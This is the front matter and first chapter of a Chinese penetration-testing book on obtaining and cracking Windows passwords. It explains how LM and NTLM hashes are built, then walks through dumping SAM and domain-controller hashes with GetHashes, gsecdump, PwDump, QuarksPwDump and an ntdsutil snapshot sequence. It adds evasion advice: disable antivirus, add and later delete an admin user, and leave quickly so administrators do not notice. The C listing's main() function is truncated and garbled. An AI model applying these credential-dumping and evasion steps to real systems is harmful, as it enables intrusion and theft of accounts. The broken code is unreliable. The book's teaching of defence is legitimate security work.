版权信息

书名：黑客攻防：实战加密与解密

作者：陈小兵

排版：辛萌哒

出版社：电子工业出版社

出版时间：2016-11-01

ISBN：9787121299858

— · 版权所有 侵权必究 · —

内容简介

本书从黑客攻防的专业角度，结合网络攻防中的实际案例，图文并茂地再现Web渗透涉及的密码获取与破解过程，是市面上唯一一本对密码获取与破解进行全面研究的图书。本书共分7章，由浅入深地介绍和分析了目前流行的Web渗透攻击中涉及的密码获取、密码破解方法和手段，并结合多年的网络安全实践经验给出了相对应的安全防范措施，对一些经典案例还给出了经验总结和技巧。本书最大的特色就是实用和实战性强，思维灵活，内容主要包括Windows操作系统密码的获取与破解、Linux操作系统密码的获取与破解、数据库密码的获取与破解、电子邮件密码的获取与破解、无线网络密码的获取与破解、App密码的获取与破解、各种应用软件的密码破解、破解WebShell口令、嗅探网络口令、自动获取远程终端口令等。

本书既可以作为政府、企业相关人员研究网络安全的参考资料，也可以作为大专院校学生学习渗透测试的教材。

未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。

版权所有，侵权必究。

前言

在出版《黑客攻防实战案例解析》、《Web渗透技术及实战案例解析》和《安全之路——Web渗透技术及实战案例解析（第2版）》后，我和安天365团队经过讨论，决定将技术进行细化，进行专题研究，编写一系列黑客攻防实战方面的图书。经过近一年的努力，终于将《黑客攻防：实战加密与解密》完成。

本书从Web渗透的专业角度系统探讨黑客安全攻防中涉及的密码获取与破解技术，内容尽可能贴近实战。攻击与防护是辩证统一的关系，掌握了攻击技术，也就掌握了相应的防护技术。密码是黑客渗透中最为关键的部分，进入VPN需要密码，进入邮箱需要密码，进入域控服务器也需要密码。在渗透进服务器后，如何尽可能多地搜集和获取密码，是黑客获得更多权限的关键。

本书以Web渗透攻击与防御为主线，主要通过典型的案例来讲解密码的保护和破解技术。在每一个案例中，除了技术原理外，还对技术要点进行了总结和提炼。掌握和理解这些技术后，读者在遇到类似的场景时可以自己进行操作。本书采用最为通俗易懂的图文解说方式，按照书中的步骤即可还原攻防情景。通过阅读本书，初学者可以很快掌握Web攻防的流程、最新的技术和方法，有经验的读者可以在技术上更上一层楼，让攻防技术在理论和实践中更加系统化。

本书共分7章，由浅入深，依照Web攻防密码保护与获取的技术特点安排内容，每一节都是一个具体技术的典型应用，同时结合案例给予讲解，并给出一些经验总结。本书主要内容安排如下。

第1章　Windows操作系统密码的获取与破解

介绍目前黑客攻防过程中如何获取Windows操作系统的密码，如何使用LC5、Ophcrack、Hashcat等工具对获取系统密码Hash值进行快速破解，以及如何安全设置操作系统的密码和如何检查系统是否存在克隆账号等。

第2章 Linux操作系统密码的获取与破解

介绍Linux操作系统root账号和密码的获取与破解，使用fakesu记录root用户密码，Hydra暴力破解密码，读取Linux保存的密码等。

第3章 数据库密码的获取与破解

介绍常见的数据库加密方式，破解Access密码，破解MySQL数据库密码，通过网页文件获取数据库账号和口令，扫描获取SQL Server肉机，通过sa权限、MySQL root提权等。

第4章 电子邮件密码的获取与破解

电子邮箱是存储私密和敏感信息的重要位置。本章主要介绍如何快速获取浏览器中保存的邮箱和网站等的密码，如何获取Foxmail等软件保存的密码，以及如何扫描和攻击邮箱口令等，并给出了相应的防范建议。

第5章 无线网络密码的获取与破解

介绍如何使用CDlinux无线破解系统破解无线网络的密码，如何获取系统保存的无线网络密码，以及如何利用公共无线网络密码渗透并获取他人的邮箱口令等。

第6章 App密码的获取与破解

本章介绍如何对App程序进行反编译并获取程序中的密码等信息，同时对手机木马反编译、手机锁等技术进行了探讨。

第7章 其他密码的获取与破解

本章主要介绍pcAnywhere、VNC等账号和口令的破解，讨论Discuz！论坛密码记录及安全验证问题暴力破解、一句话密码破解获取网站WebShell，以及使用Burp Suite破解WebShell密码、手工检测黑客工具“中国菜刀”是否包含后门等。

虽然本书内容已经比较丰富和完整，但仍然无法涵盖所有的黑客攻防技术。技术的探索没有止境，更多的工具和方法，读者可以在日常学习和工作中去探索和发现。

资源下载

笔者在书中提到的所有相关资源可以到安天365网站（http://www.antian365.com）下载。特别是作者在多年工作中收集的渗透工具包，也在安天365网站免费提供下载。

特别声明

本书的目的绝不是为那些怀有不良动机的人提供支持，也不承担因为技术被滥用所产生的连带责任。本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全问题带来的经济损失。

由于作者水平有限，加之时间仓促，书中疏漏之处在所难免，恳请广大读者批评指正。

反馈与提问

读者在阅读本书过程中遇到任何问题或者有任何意见，都可以直接发电子邮件至antian365@gmail.com进行反馈。

读者也可以加入Web安全图书交流QQ群（436519159）进行交流。

致谢

参加本书编写工作的有陈小兵、刘晨、黄小波、韦亚奇、邓火英、刘漩、庞香平、武师、陈尚茂、邱永永、潘喆、孙立伟。

感谢电子工业出版社对本书的大力支持，尤其是潘昕编辑为本书出版所做的大量工作。感谢美工对本书进行的精美设计。

借此机会，还要感谢多年来在信息安全领域给我教诲的所有良师益友，感谢众多热心网友对本书的支持。

最后要感谢我的家人，是他们的支持和鼓励使本书得以顺利完成。

本书集中了安全365团队众多“小伙伴”的智慧。我们是一个低调潜心研究技术的团队，我衷心地向团队的所有成员表示感谢，感谢雨人、Cold、imiyoo、cnbird、pt007、Mickey、Xnet、fido、指尖的秘密、Leoda、pt007、Mickey、YIXIN、终隐、fivestars、暖色调の微笑、幻想弦乐、Unsafe、雄究究、gh0stbo、人海孤鸿、LCCL等，是你们给了我力量，给了我信念。

作者
2016年3月于北京

第1章

Windows操作系统密码的获取与破解

Windows操作系统是目前世界上最为流行的、使用最为广泛的操作系统之一，由于操作简单、实用、方便等特点，深受个人计算机用户喜爱。也正因如此，Windows是最易受到攻击的操作系统，入侵者为了长期控制Windows个人计算机和服务器，除了安装木马程序外，还必须获取操作系统本身的账号和密码。所以，Windows系统密码的获取与破解是攻防的必备基础，是后期继续渗透的前提和关键，掌握Windows操作系统密码Hash的获取和破解至关重要。

本章着重介绍Windows操作系统如何通过GetHashes、gsecdump等工具快速获取密码Hash值并破解其密码，同时对扫描3389口令、自动获取3389口令、安全设置操作系统密码、检查系统账号是否被克隆等内容进行了介绍。

本章主要内容

使用GetHashes获取Windows系统密码

使用gsecdump获取Windows系统密码

使用Quarks PwDump获取域控密码

使用PwDump获取系统账号和密码

使用SAMInside获取及破解Windows系统密码

Windows Server 2003域控服务器用户账号和密码的获取

使用Ophcrack破解系统Hash密码

使用oclHashcat破解Windows系统账号和密码

使用L0phtCrack破解Windows和Linux的密码

通过hive文件获取系统密码Hash

使用Fast RDP Brute破解3389口令

Windows口令扫描攻击

使用WinlogonHack获取系统密码

检查计算机账号克隆情况

安全设置操作系统的密码

1.1 使用GetHashes获取Windows系统密码

对入侵者来说，获取Windows口令是整个攻击过程中至关重要的一环，拥有用户的口令将使内网渗透和守控更加容易。Windows系统中的Hash密码值主要由LM-hash值和NTLM-hash值两部分构成，一旦入侵者获取了系统的Hash值，通过LC5及彩虹表等破解工具就可以很快获取系统的密码。

本节主要探讨如何使用GetHashes工具获取系统的Hash值，并对Hash值的生成原理等知识进行讲解，最后介绍了一些有关Hash破解方面的技巧。

1.1.1 Hash的基础知识

本节介绍与Hash相关的基础知识。

1.Hash的定义

Hash，一般翻译为“散列”，也有直接音译为“哈希”的，就是把任意长度的输入（又叫做预映射，Pre-Image）通过散列算法变换成固定长度的输出，该输出就是散列值。这种转换是一种压缩映射，也就是散列值的空间通常远小于输入的空间，不同的输入可能会散列成相同的输出，故不可能从散列值来唯一确定输入值。简单地说，Hash就是一种将任意长度的消息压缩到某一固定长度的消息摘要函数。

2.Hash的应用

Hash主要用于信息安全领域的加密算法，它把一些不同长度的信息转化成杂乱的128位编码，这种编码叫做Hash值。可以说，Hash就是找到数据内容和数据存放地址之间的映射关系。

3.Hash算法在密码上的应用

MD5和SHA1可以说是目前应用最广泛的Hash算法，它们都是以MD4为基础设计的，下面简单介绍一下。

MD4（RFC 1320）是MIT的Ronald L. Rivest在1990年设计的，“MD”是“Message Digest”的缩写。MD4在32位字长的处理器上通过高速软件实现，它是基于32位操作数的位操作来实现的。

MD5（RFC 1321）是Rivest于1991年对MD4的改进版本。它仍以512位分组来输入，其输出与MD4相同，是4个32位字的级联。MD5比MD4来得复杂，并且速度要慢一些，但MD5比MD4更安全，在抗分析和抗差分方面表现更好。

SHA-1是由NIST NSA设计的，与DSA一起使用。它对长度小于264位的输入产生长度为160位的散列值，因此抗穷举（Brute-Force）性更好。SHA-1设计时基于和MD4相同的原理，并且模仿了该算法。

Hash算法在信息安全方面的应用主要体现在以下3个方面。

（1）文件校验

我们比较熟悉的校验算法有奇偶校验和CRC校验，这两种校验并没有抗数据篡改的能力，它们在一定程度上能检测并纠正数据传输中的信道误码，但不能防止对数据的恶意破坏。MD5 Hash算法的“数字指纹”特性，使它成为目前应用最广泛的一种文件完整性校验和（Checksum）算法，不少UNIX系统提供了计算MD5 Checksum的命令。

（2）数字签名

Hash算法也是现代密码体系的一个重要组成部分。由于非对称算法的运算速度较慢，所以在数字签名协议中，单向散列函数扮演了一个重要的角色。对Hash值（又称“数字摘要”）进行数字签名，在统计上可以认为与对文件本身进行数字签名是等效的。

（3）鉴权协议

鉴权协议又称挑战-认证模式，在传输信道可被侦听但不可被篡改的情况下，这是一种简单而安全的方法。

1.1.2 Windows的Hash密码值

下面我们讨论一下Windows的Hash密码值。

1.Windows系统的Hash密码格式

Windows系统的Hash密码格式如下。

用户名称:RID:LM-hash值:NT-hash值

Windows系统的Hash密码示例如下。

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA 724774CE6CC:::

用户名：Administrator

RID：500

LM-hash值：C8825DB10F2590EAAAD3B435B51404EE

NT-hash值：683020925C5D8569C23AA724774CE6CC

2.Windows下LM-hash值的生成原理

假设明文口令是“Welcome”，首先全部转换成大写，即“WELCOME”，再将该大写字符串转换成二进制串“57454C434F4D4500000000000000”。

技巧

可以将明文口令复制到UltraEdit编辑器中，使用二进制方式查看即可获取口令的二进制串。

如果明文口令经过大写变换后的二进制字符串不足14字节，则需要在其后添加“0x00”来补足14字节。

将转换后的二进制串切割成2组7字节的数据，分别经str_to_key() 函数处理，得到2组8字节数据。

57454C434F4D45→56A25288347A348A

00000000000000→0000000000000000

说明

str_to_key()函数的C语言描述如下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* 读取形如“AABBCCDDEEFF”的16进制数字串，由主调者进行形参的边界检查
*/
static void readhexstring ( const unsigned char *src, unsigned char *dst,
unsigned int len )
{
    unsigned int  i;
    unsigned char str[3];

    str[2] = '\0';
    for ( i = 0; i < len; i++ )
    {
        str[0] = src[ i * 2     ];
                 str[1] = src[ i * 2 + 1 ];
        dst[i] = ( unsigned char )strtoul( str, NULL, 16 );
    }
    return;
}  /* end of readhexstring */

/*
* from The Samba Team's source/libsmb/smbdes.c
*/
static void str_to_key ( const unsigned char *str, unsigned char *key )
{
    unsigned int i;

    key[0] = str[0] >> 1;
    key[1] = ( ( str[0] &amp; 0x01 ) << 6 ) | ( str[1] >> 2 );
    key[2] = ( ( str[1] &amp; 0x03 ) << 5 ) | ( str[2] >> 3 );
    key[3] = ( ( str[2] &amp; 0x07 ) << 4 ) | ( str[3] >> 4 );
    key[4] = ( ( str[3] &amp; 0x0F ) << 3 ) | ( str[4] >> 5 );
    key[5] = ( ( str[4] &amp; 0x1F ) << 2 ) | ( str[5] >> 6 );
    key[6] = ( ( str[5] &amp; 0x3F ) << 1 ) | ( str[6] >> 7 );
    key[7] = str[6] &amp; 0x7F;
    for ( i = 0; i < 8; i++ )
    {
        key[i] = ( key[i] << 1 );
    }
    return;
}  /* end of str_to_key */

int main ( int argc, char * argv[] )
{
    unsigned int  i;
    unsigned char buf_0[21];
    unsigned char buf_1[24];

    if ( argc != 2 )
    {
        fprintf( stderr, "Usage: %s <hexadecimal string>\n", argv[0] );
        return( EXIT_FAILURE );
    }
    memset( buf_0, 0, sizeof( buf_0 ) );
    memset( buf_1, 0, sizeof( buf_1 ) );
    i = strlen( argv[1] ) / 2;
    readhexstring( argv[1], buf_0, i );
    for ( i = 0; i < s
    {
        fprintf( stderr
    }
    fprintf( stderr, "
    str_to_key( buf_0,
    str_to_key( buf_0
    str_to_key( buf_0
    for ( i = 0; i < s
    {
        fprintf( stderr
    }
    fprintf( stderr, "
    return( EXIT_SUCCE
}  /* end of main */

将这2组8字节数据作为DESKey对魔术字符串“KGS!@#$%”进行标准DES加密。

KGS!@#$%→4B47532140232425

56A25288347A348A→对4B47532140232425进行标准DES加密→C23413A8A1E7665F

0000000000000000→4B47532140232425进行标准DES加密→AAD3B435B51404EE将加密后的两组数据简单拼接，LM-hash为C23413A8A1E7665FAAD3B435B51404EE。

3.Windows下NTLM-hash值的生成原理

IBM设计的LM-hash算法存在几个弱点，微软在保持向后兼容性的同时提出了自己的挑战响应机制，NTLM-hash应运而生。

假设明文口令是“123456”，首先将其转换成Unicode字符串，与LM-hash算法不同，NTLM-hash不需要添加“0x00”补足14字节。

123456→310032003300340035003600

从ASCII串转换成Unicode串时使用LITTLE-ENDIAN，微软在设计SMB协议时就没有考虑BIG-ENDIAN，ntoh*()、hton*() 函数不宜用在SMB报文解码中。0x80之前的标准ASCII码转换成Unicode码，就是简单地从“0x??”变成“0x00??”。此类标准ASCII串按LITTLE-ENDIAN转换成Unicode串，就是简单地在原有数据的每个字节之后添加“0x00”。对获取的Unicode串进行标准MD4单向Hash，无论数据源有多少字节，MD4固定产生128位的Hash值。

310032003300340035003600→进行标准MD4单向Hash→32ED87BDB5FDC5E9CBA88547376818D4

得到的NTLM-hash为32ED87BDB5FDC5E9CBA88547376818D4。

与LM-hash算法相比，明文口令对大小写敏感，无法根据NTLM-hash判断原始明文口令是否小于8字节，且摆脱了魔术字符串“KGS!@#$%”。MD4是真正的单向Hash函数，穷举作为数据源出现的明文时难度较大。

1.1.3 使用GetHashes获取Windows的Hash密码值

GetHashes是InsidePro公司早期的一款Hash密码获取软件，目前的最高版本是1.6。InsidePro公司的网址为http://www.InsidePro.com。此外，该公司还有SAMInside、PasswordsPro、Extreme GPU Bruteforcer这3款密码破解软件。现在，AMInside已经将GetHashes等软件整合在一个软件中了。

1.GetHashes命令格式

一般使用“GetHashes $Local”命令获取系统的Hash密码值，该命令仅在System权限下才能执行成功，示例如下。

GetHashes <SAM registry file> [System key file] Or  GetHashes $Local

根据个人爱好，可以将GetHashes软件更名为其他名称，在后面的案例中就将其命名为“getpw”。

2.使用GetHashes获取系统Hash值实例

将“GetHashes”更名为“getpw”，将其复制到欲获取Hash密码值的系统盘中，然后执行“getpw $local”命令，如图1-1所示，顺利获取其Hash密码值。本例中使用的是Radmin的Telnet。依次单击“文本”→“保存为”选项，将结果保存为一个新文件，使用UltraEdit编辑器进行编辑，仅保存Hash密码值部分，然后使用LC5导入Hash密码值即可破解系统的密码。

图1-1 获取系统Hash值

注意

（1）使用GetHashes获取系统的Hash密码值时，必须要在System权限下，也就是在反弹Shell或者Telnet下。

（2）如果系统中安装了杀毒软件或者防火墙，有可能由于杀毒软件和防火墙的保护而导致密码获取失败。研究发现，由于GetHashes威力巨大，主要用在入侵过程中获取系统的Hash密码值，因此绝大多数杀毒软件已经将GetHashes加入病毒库。如图1-2所示是Castlecops网站提供的各大杀毒软件针对 GetHashes制作的病毒库版本及更新信息。

图1-2 许多杀毒软件已经将GetHashes作为病毒处理

（3）InsidePro公司在其网站上还提供了一个Hash产生器，通过输入一些参数值就能够生成经过某种加密算法处理的口令密码值，如图1-3所示，有兴趣的读者可以尝试。该功能在研究系统Hash密码值的生成时可以进行相互验证。

图1-3 Hash生成器

（4）Hash密码值在线查询。在http://hash.insidepro.com/网站还可以在线查询Hash密码值的原始明文口令，如图1-4所示。将经过MD5加密的Hash值输入后，单击“Search”按钮，如果数据库中存在该值的计算结果，就会在该页面给出。

图1-4 在线破解Hash密码值

1.1.4 使用GetHashes获取系统Hash值的技巧

使用GetHashes获取系统的Hash值，一般是在获得了系统的部分或者全部控制权限之后，通常是在新的漏洞利用工具发布之后。例如，当系统中存在MS08067漏洞时，可以使用MS08067漏洞利用工具获得存在此漏洞的计算机的一个反弹Shell，然后将GetHashes软件上传到系统中，执行“GetHashes $Local”命令。

下面总结一些GetHashes的使用经验和技巧。

01 在获得反弹Shell的情况下，首先查看系统中是否存在杀毒软件。如果存在，则尝试将其关闭。如果不能关闭，则放弃使用GetHashes获取Hash密码值，转向下一步。

02 查看系统版本，以及系统是否开启了3389远程终端。如果未开启3389终端，判断可否直接开启3389终端。如果可以利用3389终端，则直接添加一个具有管理员权限的用户，然后以该用户的身份登录系统。

03 关闭杀毒软件，再次通过Shell或其他控制软件的Telnet执行“GetHashes $Local”命令来获取Hash密码值，最后删除新添加的用户。

1.2 使用gsecdump获取Windows系统密码

gsecdump是Windows环境下获取密码的主要工具，其功能强于GetHashes，目前已经被定义为病毒，常见的病毒名有HackTool.FFC（AVG）、HackTool.Win32.Agent.ym（Kaspersky）、HTool-GSECDump（McAfee）、W32/Hacktool.AY（Norman）、Trojan.Moo（Symantec）、HKTL_AGENT（Trend Micro）。gsecdump的主要特点是在某些情况下能够获取域控密码，是不可多得的密码获取工具软件。

1.2.1 下载和使用gsecdump

gsecdump目前的版本为2.0b5，由于其使用的广泛性，因此被Google Chrome及众多杀毒软件定义为病毒，其官方网站已经不提供下载地址，感兴趣的读者可以发送电子邮件至info@truesec.co索取。

1.2.2 gsecdump参数

运行gsecdump，如图1-5所示，默认显示帮助信息，也可以使用“gsecdump -h”命令获取帮助信息，其参数含义如下。

-h：显示帮助信息。

-a：获取所有密码信息。

-s：从SAM和域控中获取Hash值。

-l：获取LSA信息，用处不大。

-u：获取活动的登录Hash值，也即当前登录用户的Hash值。

-w：获取无线密码。

-S：强制评估版本为系统版本。

图1-5 gsecdump的运行参数信息

1.2.3 使用gsecdump获取系统密码

一般使用“gsecdump -a”命令获取所有用户的密码Hash值，如图1-6所示。也可以使用“gsecdump -u”命令获取当前登录用户的Hash值。

图1-6 获取系统所有用户的Hash值

1.3 使用Quarks PwDump获取域控密码

Quarks PwDump是Quarkslab出品的一款开源用户密码提取工具，目前最新版本为0.2b，其完整源代码可以从https://github.com/quarkslab/quarkspwdump获取，支持Windows XP/2003/Vista/7/2008且相当稳定。Quarks PwDump可以抓取Windows平台上多种类型的用户凭据，包括本地账户、域账户、缓存的域账户和Bitlocker。开发这个工具的目的是同时抓取所有类型的Hash和Bitlocker信息。

该工具源代码下载地址为https://codeload.github.com/quarkslab/quarkspwdump/zip/ master，目前可以导出以下信息。

Local accounts NT/LM hashes + history：本机NT/LM Hash+历史登录记录。

Domain accounts NT/LM hashes + history：域中的NT/LM Hash +历史登录记录。

Cached domain password：缓存中的域管理密码。

Bitlocker recovery information (recovery passwords & key packages)：用Bitlocker恢复后遗留的信息。

1.3.1 使用Quarks PwDump获取本地账号的Hash值

Quarks PwDump必须在DOS命令提示符下运行。运行QuarksPwDumpv0.2b.exe，如图1-7所示，默认显示帮助信息，其参数含义如下。

图1-7 使用Quarks PwDump获取本地账号的Hash值

-dhl：导出本地Hash值。

-dhdc：导出内存中的域控Hash值。

-dhd：导出域控Hash值（必须指定NTDS文件）。

-db：导出Bitlocker信息（必须指定NTDS文件）。

-nt：导出NTDS文件。

-hist：导出历史信息，可选项。

-t：导出类型，可选项，默认导出John类型。

-o：导出文件到本地。

1.3.2 使用Quarks PwDump导出账号实例

执行命令“QuarksPwDumpv0.2b.exe -dhl -o 1.txt”，将导出本地Hash值到当前目录下的1.txt文件。执行该命令会显示导出账号的数量，如图1-8所示，有3个账号的信息被导出，打开1.txt文件可以看到导出Hash值的具体账号和值。

图1-8 导出本地账号信息

1.3.3 配合使用NTDSutil导出域控密码

NTDSutil是一个为Active Directory提供管理设施的命令行工具。可以使用NTDSutil执行Active Directory的数据库维护工作，管理和控制单个主机的操作，创建应用程序目录分区，以及删除因未使用Active Directory安装向导（DCPromo.exe）而成功降级的域控制器留下的元数据。NTDSutil还可以用来获取域控数据库文件ntds.dit，具体命令如下。

创建快照。

ntdsutil  snapshot  "activate  instance  ntds"  create  quit  quit

NTDSutil加载活动目录的快照。{GUID}是动态获取的，如图1-9所示。

ntdsutil  snapshot  "mount {GUID}"  quit  quit

图1-9 导出快照文件

复制快照至本地磁盘。

copy  MOUNT_POINT\windows\NTDS\ntds.dit  c:\ntds.dit

卸载快照。

ntdsutil  snapshot  "unmount {GUID}"  quit  quit

删除快照。

ntdsutil  snapshot  "delete {GUID}"  quit  quit

使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit”，将导出的ntds.dit文件中的Hash值全部导出，示例如下。

tdsutil  snapshot  "activate  instance  ntds"  create  quit  quit
ntdsutil  snapshot  "mount {a0455f6c-40c3-4b56-80a0-80261471522c}"  quit  quit
快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已挂接为 C:\$SNAP_201212082315_
VOLUM
EC$\
copy  C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit  c:\ntds.dit
ntdsutil  snapshot  "unmount {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}"  quit  quit
ntdsutil  snapshot  "delete {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}"  quit  quit
QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit

说明

获取Hash值最好在同一台服务器上执行，也就是说，将QuarksPwDump.exe直接放在导出ntds.dit文件的服务器上执行导出命令。如果仅将ntds.dit复制后下载到本地，可能会出现无法读取的错误。网上出现过一个ntds.dit密码快速提取工具NTDSDump，读者可以自己进行测试。如果想下载ntds.dit到本地进行恢复，还需要执行“reg save hklm\system system.hive”命令，将system.hive和ntds.dit全部复制到本地进行域控密码的获取。

1.4 使用PwDump获取系统账号和密码

在网络攻击中，通过一些溢出程序成功溢出被攻击的计算机后，最重要的一个步骤就是获取该计算机中的用户账号和密码。特别是在成功控制服务器以后，获取系统中的账号和密码更是入侵者的必由之路。

通过使用计算机中用户原本的账号和密码登录3389终端，优于在系统中增加或者克隆账号。在系统中增加或者克隆账号容易被发现，进而导致被控计算机丢失。获取系统账号和密码的方法很多，本节使用比较流行的PwDump和LSASecretsView两款软件来获取系统中的账号和密码。

1.4.1 上传文件到欲获取密码的计算机

PwDump 4.02中有两个文件，一个是Pwd4.dll，另一个是Pwdump4.exe。在早期版本中，其DLL文件为lsaext.dll。

将这两个文件上传到欲获取账号和密码的计算机的系统目录下。

1.4.2 在Shell中执行获取密码的命令

本案例通过Radmin的Telnet来执行命令。

在系统根目录中执行“pwd4 /l /o:*.*.*.82.sam”命令，将系统中的账号和口令信息导出到“*.*.*.82.sam”文件中。导出成功后，会给出一些提示信息，如操作系统版本及用户数量等，如图1-10所示。然后，将其SAM文件传回本地计算机。

图1-10 执行获取密码的命令

说明

（1）在本例中，直接将Pwdump4.exe的名称更改为“pwd4.exe”，是为了在操作中减少输入的内容。

（2）“pwd4”后面的参数“/l”表示导出到本地，“/o:filename”表示输出到filename文件。

1.4.3 通过LC5导入SAM文件

通过PwDump4获取的是系统账号的Hash值，需要通过一些工具软件进行破解，从而获取其账号所对应的密码。

运行LC5，新建一个Session，然后在“Session”菜单或者图标中选择“Import”选项，在“Import”窗口的“Import from file”区域选中“From PWDUMP file”单选项，然后选择刚才导出的SAM文件，如图1-11所示。

图1-11 将SAM文件导入LC5

1.4.4 破解系统账号和密码

成功导入SAM文件后，会在LC5中显示“Domain”、“User Name”、“LM Password”、“Password”等信息，如图1-12所示。在该界面中，如果“LM Password”和“Password”列显示为“empty”，表示该账号为空或者使用PWDump未能导出其Hash值。在“User Name”列中，如果用户名以“IUSR_”、“IWAM_”开头，以及用户名为TsInternetUser、SQLDebugger的账号，均为系统账号，表示其密码是随机生成的，可以将其删除。

图1-12 需要破解的系统账号

1.4.5 破解结果

删除一些系统中无用的账号，单击“Session”菜单中的“Begin Audit”命令，或者单击工具栏上的绿色三角形按钮，开始破解密码。LC5破解成功后，会显密码信息，如图1-13所示。

图1-13 破解账号成功

说明

由于杀毒软件或者防火墙等系统的安全防御，使用PwDump 4.02及以前版本有可能无法正常导出系统账号及其Hash值。有时在执行命令后会出现长时间的无反应现象，如图1-14所示，这种现象表明无法通过Pw Dump导出系统账号和密码。

图1-14 导出系统账号和密码失败

对于导出系统账号和密码失败的情况，有两种处理方式：一种是使用其他软件；另一种是停用系统中的安全防护软件，再次使用PwDump导出系统账号和密码。在本案例中推荐使用LSASecretsView获取系统默认的密码。将LSASecretsView软件上传到欲获取账号和口令的计算机中，通过Radmin客户端或者其他方式，在桌面直接运行LSASecretsView，其显示结果中的“DefaultPassword”即为系统默认的管理员账号密码。

在本例中，密码为“48610”，如图1-15所示。通过LSASecretsView获取的密码是系统未更改的默认密码，对更改后的系统密码无能为力。

图1-15 通过LSASecretsView获取系统密码

注意

使用LSASecretsView获取系统的密码需要在GUI模式下进行。不过，LSASecretsView可以直接读出系统的默认密码，因此，使用该软件获取肉机的密码时操作一定要迅速，获取密码后立即删除该软件并退出桌面，以免被用户或者管理员发现。

1.5 使用SAMInside获取及破解Windows系统密码

在通过SQL注入等方式获取网站的WebShell后，就要利用系统的各种漏洞进行提权，提权成功后通过远程终端进入系统。此时，为了长期控制或者进一步渗透网络，就需要获取系统正常用户的密码。

获取系统密码Hash值的软件很多，本节主要介绍如何使用SAMInside获取系统的Hash值，以及如何结合彩虹表快速破解系统用户的密码。

1.5.1 下载和使用SAMInside

SAMInside的官方下载地址为http://www.insidepro.com/download/saminside.zip。目前的最新版本为SAMInside 2.7.0.2，该版本中不再提供GetHashes工具（官方提供的是试用版，有些高级功能不能使用），但并不影响获取系统密码Hash值。SAMInside可以获取Windows 2008 Server及以下版本操作系统的用户密码Hash值。在获取这些Hash值后，可以通过彩虹表或者字典等进行破解，进而获取系统的密码。SAMInside不需要安装，将下载的文件解压缩到本地磁盘即可使用。

1.5.2 使用Scheduler导入本地用户的Hash值

直接运行SAMInside，如图1-16所示，单击第3个图标，然后选择“Import Local Users via Scheduler”选项，将本地用户的Hash值导出。虽然SAMInside还提供了从LSASS导出本地用户的机制，但该方法在一些操作系统中容易出错。

图1-16 使用Scheduler导入本地用户的Hash值

1.5.3 查看导入的Hash值

使用SAMInside导入本地用户的Hash值，必须具有管理员权限。在有些情况下，管理员会对磁盘进行权限限制，这个时候需要为SAMInside授权才能获取系统用户的Hash值。

如图1-17所示，一共获取了4个用户的Hash值，并显示了每个值的User、RID、LM-password、NT-password、LM-hash、NT-hash、Description信息。如果LM-password和NT-password显示为“Disabled”，表示该账户处于禁用状态。对超过14位的密码，在LM-password中会以全0显示。在旧版本的SAMInside中，以“AA3D”开头显示的密码也表示其位数超过14位，如“simeon:1005:AAD3B435B51404EEAAD3B435B51404EE: 5E9C2FAAE669F5D06F33014E33AC2CFC:::”的密码就超过了14位。

图1-17 查看导入的Hash值

1.5.4 导出系统用户的Hash值

依次单击“File”→“Export Users to PWDUMP File”选项，将获取系统用户的密码Hash值导出为一个文件，其导出文件的内容如图1-18所示。然后，将该文件导入Ophcrack中进行破解。

图1-18 导出系统用户的Hash值

SAMInside本身也能破解系统Hash值，不过破解速度和效果不如Ophcrack。对一些简单的密码，SAMInside会直接显示，感兴趣的朋友可以尝试。

1.5.5 设置SAMInside的破解方式

如图1-19所示，默认选择“LM-hashes attack”选项进行破解。如果用户密码超过14位，或者LM-hash中显示的全是0，则可以选择“NT-hashes attack”选项进行破解。然后，需要设置字典破解、暴力破解、掩码破解及彩虹表破解等。

如果采用字典破解，则需要选择“Options…”选项，在“Dictionary attack”中设置字典。将本地字典文件添加到字典文件列表中，如图1-20所示。可以设置多个字典文件用于破解。SAMInside的帮助系统提供了在线字典下载功能，大概有2GB的字典可供下载。

图1-19 设置SAMInside的破解方式

图1-20 导入字典文件进行破解

1.5.6 执行破解

设置破解的有关选项后，单击绿色三角形图标进行破解，如图1-21所示。如果密码在字典文件中，则很快就会给出结果。

图1-21 运行字典破解本地用户密码

1.6 Windows Server 2003域控服务器用户账号和密码的获取

域控制器相当于一个门卫，其中包含由这个域的账户密码、管理策略等信息构成的数据库。当一台计算机登录域时，域控制器要鉴别这台计算机是否属于这个域，以及用户使用的登录账号和密码是否正确。如果正确，则允许计算机登录这个域，使用该域内其有权限访问的资源，如文件服务器、打印服务器（也就是说，域控制器仅起到验证作用，访问其他资源并不需要再跟域控制器扯上关系）；如果不正确，则不允许计算机登录，这时计算机将无法访问域内的资源，这在一定程度上保护了企业网络资源。

域服务器的作用如下。

安全集中管理，统一安全策略。

软件集中管理，按照公司要求限定所有机器只能运行必需的办公软件。

环境集中管理，利用AD可以统一客户端桌面、浏览器、TCP/IP等设置。

活动目录是企业基础架构的根本，是公司整体统一管理的基础。ISA、Exchange、防病毒服务器、补丁分发服务器、文件服务器等服务依赖于域服务器。

域控服务器是网络安全渗透的重点对象。获取了域控服务器的权限，就意味着掌控了整个网络的资源和权限，在渗透过程中获取域控服务器用户账号和密码是基础和必需的一步。本节将对域控渗透思路、内网渗透常见命令及域控用户账号和密码的获取进行探讨。

1.6.1 域控服务器渗透思路

域控服务器的渗透思路，仁者见仁，智者见智，笔者将实际工作经验总结如下。

寻找网络入口，获取域控用户权限，通过用户获取域控管理员信息。针对域控管理员开展个人主机渗透或者社会工程学攻击，获取域管理员个人主机权限，进而获取域控服务器权限。

获取域控服务器内某台Web服务器或者其他服务器的权限。在获取一台服务器的权限后，通过获取该服务器的用户账号和密码，对整个内网使用NTScan等工具进行账号的暴力破解，从而获取域控服务器权限。

总之，在内网渗透中需要对各种信息进行收集和研判，通过信息进行大胆的推断和渗透测试，不断扩大权限，最终获取域控服务器的权限。

1.6.2 内网域控服务器渗透的常见命令

下面介绍内网域控服务器渗透的常见命令。

1.本机信息收集

